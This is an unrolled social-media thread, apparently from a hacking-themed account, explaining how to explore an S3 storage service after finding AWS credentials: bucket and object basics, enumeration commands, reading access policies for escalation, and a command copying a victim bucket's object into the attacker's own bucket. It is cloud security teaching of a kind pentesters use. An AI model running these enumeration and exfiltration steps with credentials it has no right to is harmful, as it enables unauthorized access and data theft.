Thread by @rootcathacking

So you found #aws creds to an S3, lets do some #cloud #hacking #recon:

👇

First of all, S3 stands for serious summertime sadness
and allows the general operations of:

list
get
put
delete

An S3 is a bucket and within a bucket there are objects. Basically an object can be anyfile. Objects have keys assoziated

and a bucket nayme must be globally unique and not contain spaces or uppercase letters.
Example:
mrlee.s3.us-west-2.amazonaws.com/mafia/pizza.jpg

the bucket mrlee in the west region with an object pizza.jpg and a key of /mafia/pizza.jpg

So lets see what we can access with
aws s3 ls
aws s3api list-buckets
and then look at the objects of the example bucket (foqne in this case)

Okay lets look at access control. Its complicated. In prinziple access control can be ressource based,
via ACL or bucket pawlicy or attached to a bucket or individual object itself, or it can be linked to a user, or role, group, etc. respectivly

You can have a look at cloudcat on how to find these pawlicies and display them
github.com/rootcathacking…

Assume we have a bucket policy, to make it more readable you can pipe it and show a json.
Here it would mean that a specific IAM user has the permission to put objects in the bucket if the based check from the department is fullfilled - radical!

By enumerating all these policies, further excalation might be found (depending on the setup), maybe add your own files, change the ACL file itself, add a policy to a ressource etc

aws s3 sync might be useful, or it might be pawsible to exfil the bucket to your own s3, something like
aws s3 cp s3://mrlee/datpizza.jpg s3://mypizzanow/

@threadreaderapp unroll